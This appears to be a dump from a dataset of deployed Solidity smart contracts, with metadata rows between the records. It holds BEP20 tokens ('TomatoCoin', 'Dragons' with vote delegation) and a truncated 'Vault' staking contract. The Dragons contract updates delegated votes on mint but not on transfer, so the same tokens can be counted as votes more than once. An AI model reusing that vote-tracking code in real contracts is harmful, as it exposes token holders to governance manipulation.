if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private MAXCAP;
uint256 constant MAXCAPSUPPLY = 7777 * (10 ** 18);
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function maxSupply() public pure returns (uint256) {
return MAXCAPSUPPLY;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
require(MAXCAP.add(amount) <= MAXCAPSUPPLY, "Max supply reached");
_totalSupply = _totalSupply.add(amount);
MAXCAP = MAXCAP.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
MAXCAP = MAXCAP.sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
// TomatoCoin.
contract TomatoCoin is BEP20('FarmersOnly\'s Tomato Coin', 'TMT') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
| 91,452 | 12,233 |
c7e2daf5e32a6d647c8f32d533ab75735f7a041e5f8f0915c464844eed65f011
| 19,728 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x5dA512E4D64a0c681a8Bb7d8cc91d4D7334CEF99/contract.sol
| 3,940 | 15,552 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract BEP20 is Context, IBEP20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//Dragons with Governance.
contract Dragons is BEP20("Dragon", "DRA"), Ownable {
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
mapping (address => address) internal _delegates;
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
mapping (address => uint32) public numCheckpoints;
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping (address => uint) public nonces;
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "DRA::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "DRA::delegateBySig: invalid nonce");
require(now <= expiry, "DRA::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external view returns (uint256)
{
require(blockNumber < block.number, "DRA::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2;
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "DRA::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 253,417 | 12,234 |
65c87cb6cee5c94e37229a5aeeecd40e8603af578b1f6f5d1683de4277773318
| 16,731 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/82/82fdACD535F6EEa710d1ab67746e9e68366Dce8f_Vault.sol
| 4,755 | 15,904 |
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Vault is Ownable {
using SafeMath for uint256;
struct Stake {
uint256 stakeCycle;
uint256 lastClaimCycle;
uint256 unstakeCycle;
uint256 amount;
uint256 totalRewards;
}
IERC20 public PLAYMATES;
IERC20 public PAYMENT_TOKEN;
address public POOL;
address public TREASURY;
address public MARKETING;
address public TRUST_V2 = 0x580a86d85A0FcDde272dD15Ec9bc4b9f8202A6aE;
bool public paused;
string public baseUri;
mapping(uint256 => uint256) public totalStaked;
mapping(uint256 => uint256) public payouts;
mapping(address => Stake) public stakers;
mapping(address => mapping (uint256 => uint256)) public amountStaked;
mapping(address => mapping (uint256 => bool)) public payoutClaimed;
mapping(address => mapping (uint256 => bool)) public stakedDuringCycle;
mapping(address => bool) public blacklist;
mapping(address => bool) public migrated;
uint256 public firstCycleDate;
uint256 public cycleDuration = 864000;
uint256 public minStake = 1 * 10**18;
uint256 public maxStake = 2000 * 10**18;
uint256 public stakeFee = 50000;
uint256[] public unstakeFees = [750000, 500000, 400000, 300000, 200000, 100000];
uint256 public unstakeFeesLength = 6;
uint256[] public stakeDistribution = [500000, 500000];
uint256[] public unstakeDistribution = [500000, 300000, 100000, 100000];
uint256 public precision = 1000000;
event Staked(address indexed _from, uint256 amount);
event Migrated(address indexed _from, uint256 amount);
event Claimed(address indexed _from, uint256 amount);
event Unstaked(address indexed _from, uint256 amount);
constructor(address _PLAYMATES, address _PAYMENT_TOKEN, address _POOL, address _TREASURY, address _MARKETING, string memory _baseUri) {
PLAYMATES = IERC20(_PLAYMATES);
PAYMENT_TOKEN = IERC20(_PAYMENT_TOKEN);
POOL = _POOL;
TREASURY = _TREASURY;
MARKETING = _MARKETING;
baseUri = _baseUri;
firstCycleDate = block.timestamp;
}
// VIEW FUNCTIONS
function currentCycle() public view returns (uint256) {
return (block.timestamp - firstCycleDate) / cycleDuration + 1;
}
function getAllRewardsOf(address user) public view returns (uint256) {
uint256 sum = 0;
for(uint256 i = stakers[user].lastClaimCycle; i < currentCycle(); i++) {
if (payoutClaimed[user][i] == true) continue;
uint256 share = getShareOf(user, i);
sum += payouts[i].mul(share) / precision;
}
return sum;
}
function getRewardsOf(address user, uint256 cycle) public view returns (uint256) {
uint256 sum = 0;
uint256 share = getShareOf(user, cycle);
sum += payouts[cycle].mul(share) / precision;
return sum;
}
function getShareOf(address user, uint256 cycle) public view returns (uint256) {
if (stakedDuringCycle[user][cycle] == false) return 0;
return amountStaked[user][cycle].mul(precision) / totalStaked[cycle];
}
function getShareOfCurrent(address user) public view returns (uint256) {
return getShareOf(user, currentCycle());
}
function getTotalStakedCurrent() public view returns (uint256) {
return totalStaked[currentCycle()];
}
function getInvestmentUri(uint256 id) public view returns (string memory) {
return string(abi.encodePacked(baseUri, id));
}
function getUnstakeFees(address user) public view returns (uint256) {
return unstakeFees[currentCycle() - stakers[user].stakeCycle > unstakeFeesLength ? unstakeFeesLength - 1 : currentCycle() - stakers[user].stakeCycle];
}
function getStakeCycleOfUser(address user) public view returns (uint256) {
return stakers[user].stakeCycle;
}
function getLastClaimCycleOfUser(address user) public view returns (uint256) {
return stakers[user].lastClaimCycle;
}
function getUnstakeCycleOfUser(address user) public view returns (uint256) {
return stakers[user].unstakeCycle;
}
function getAmountStakedOfUser(address user) public view returns (uint256) {
return stakers[user].amount;
}
function getTotalRewardsOfUser(address user) public view returns (uint256) {
return stakers[user].totalRewards;
}
// PUBLIC FUNCTIONS
function migrate() external {
require(paused == false, "MIGRATE: Contract is paused");
require(blacklist[msg.sender] == false, "MIGRATE: You are blacklisted");
require(migrated[msg.sender] == false, "MIGRATE: You already migrated");
require(Vault(TRUST_V2).amountStaked(msg.sender, 3) > 0, "MIGRATE: You were not staking.");
require(Vault(TRUST_V2).stakedDuringCycle(msg.sender, 3) == true, "MIGRATE: You were not staking");
require(currentCycle() == 1, "MIGRATE: Migration period is over");
migrated[msg.sender] = true;
stakers[msg.sender] = Stake({
stakeCycle: 1,
lastClaimCycle: 1,
unstakeCycle: 0,
amount: Vault(TRUST_V2).amountStaked(msg.sender, 3),
totalRewards: 0
});
amountStaked[msg.sender][currentCycle()] = stakers[msg.sender].amount;
totalStaked[currentCycle()] += stakers[msg.sender].amount;
stakedDuringCycle[msg.sender][currentCycle()] = true;
emit Migrated(msg.sender, stakers[msg.sender].amount);
}
function stake(uint256 amount, bool isAdding) external {
require(paused == false, "STAKE: Contract is paused.");
require(blacklist[msg.sender] == false, "STAKE: You are blacklisted");
uint256 amountAfterFees;
uint256 feesAmount = amount.mul(stakeFee) / precision;
if (stakers[msg.sender].amount == 0 || isAdding) {
amountAfterFees = stakers[msg.sender].unstakeCycle == currentCycle() ? amount.sub(feesAmount) : amountStaked[msg.sender][currentCycle()].add(amount.sub(feesAmount));
require(amount.sub(feesAmount).add(stakers[msg.sender].amount) >= minStake, "STAKE: Below min amount");
require(amount.sub(feesAmount).add(stakers[msg.sender].amount) <= maxStake, "STAKE: Above max amount");
PLAYMATES.transferFrom(msg.sender, address(this), amount);
// FEE TRANSFERS
PLAYMATES.transfer(POOL, feesAmount.mul(stakeDistribution[0]) / precision);
PLAYMATES.transfer(address(PLAYMATES), feesAmount.mul(stakeDistribution[1]) / precision);
} else {
require(amountStaked[msg.sender][currentCycle()] == 0, "STAKE: You already merged");
amountAfterFees = stakers[msg.sender].amount;
}
stakers[msg.sender] = Stake({
stakeCycle: stakers[msg.sender].stakeCycle == 0 ? currentCycle() : stakers[msg.sender].stakeCycle,
lastClaimCycle: stakers[msg.sender].lastClaimCycle == 0 ? currentCycle() : stakers[msg.sender].lastClaimCycle,
unstakeCycle: 0,
amount: amountAfterFees,
totalRewards: stakers[msg.sender].totalRewards
});
if (isAdding) totalStaked[currentCycle()] -= amountStaked[msg.sender][currentCycle()];
amountStaked[msg.sender][currentCycle()] = amountAfterFees;
totalStaked[currentCycle()] += amountAfterFees;
stakedDuringCycle[msg.sender][currentCycle()] = true;
emit Staked(msg.sender, amountAfterFees);
}
function claimAll() public {
require(paused == false, "CLAIM: Contract is paused.");
require(blacklist[msg.sender] == false, "CLAIM: You are blacklisted");
require(currentCycle() > stakers[msg.sender].lastClaimCycle, "CLAIM2: You have no share to claim.");
require(stakers[msg.sender].lastClaimCycle >= stakers[msg.sender].stakeCycle, "CLAIM3: You have no share to claim.");
require(stakers[msg.sender].amount > 0, "CLAIM: You are not contributing to the pool.");
uint256 sum = 0;
for(uint256 i = stakers[msg.sender].lastClaimCycle; i < currentCycle(); i++) {
if (payoutClaimed[msg.sender][i] == false && stakedDuringCycle[msg.sender][i] == true) {
uint256 share = getShareOf(msg.sender, i);
sum += payouts[i].mul(share) / precision;
payoutClaimed[msg.sender][i] = true;
}
}
require(sum > 0, "CLAIM4: Nothing to claim");
stakers[msg.sender].lastClaimCycle = currentCycle();
stakers[msg.sender].totalRewards += sum;
PAYMENT_TOKEN.transfer(msg.sender, sum);
emit Claimed(msg.sender, sum);
}
function claim(uint256 cycle) public {
require(paused == false, "CLAIM: Contract is paused.");
require(blacklist[msg.sender] == false, "CLAIM: You are blacklisted");
require(currentCycle() > stakers[msg.sender].lastClaimCycle, "CLAIM2: You have no share to claim.");
require(stakers[msg.sender].lastClaimCycle >= stakers[msg.sender].stakeCycle, "CLAIM3: You have no share to claim.");
require(stakers[msg.sender].amount > 0, "CLAIM: You are not contributing to the pool.");
require(payoutClaimed[msg.sender][cycle] == false, "CLAIM4: Nothing to claim");
require(stakedDuringCycle[msg.sender][cycle] == true, "CLAIM6: You unstaked");
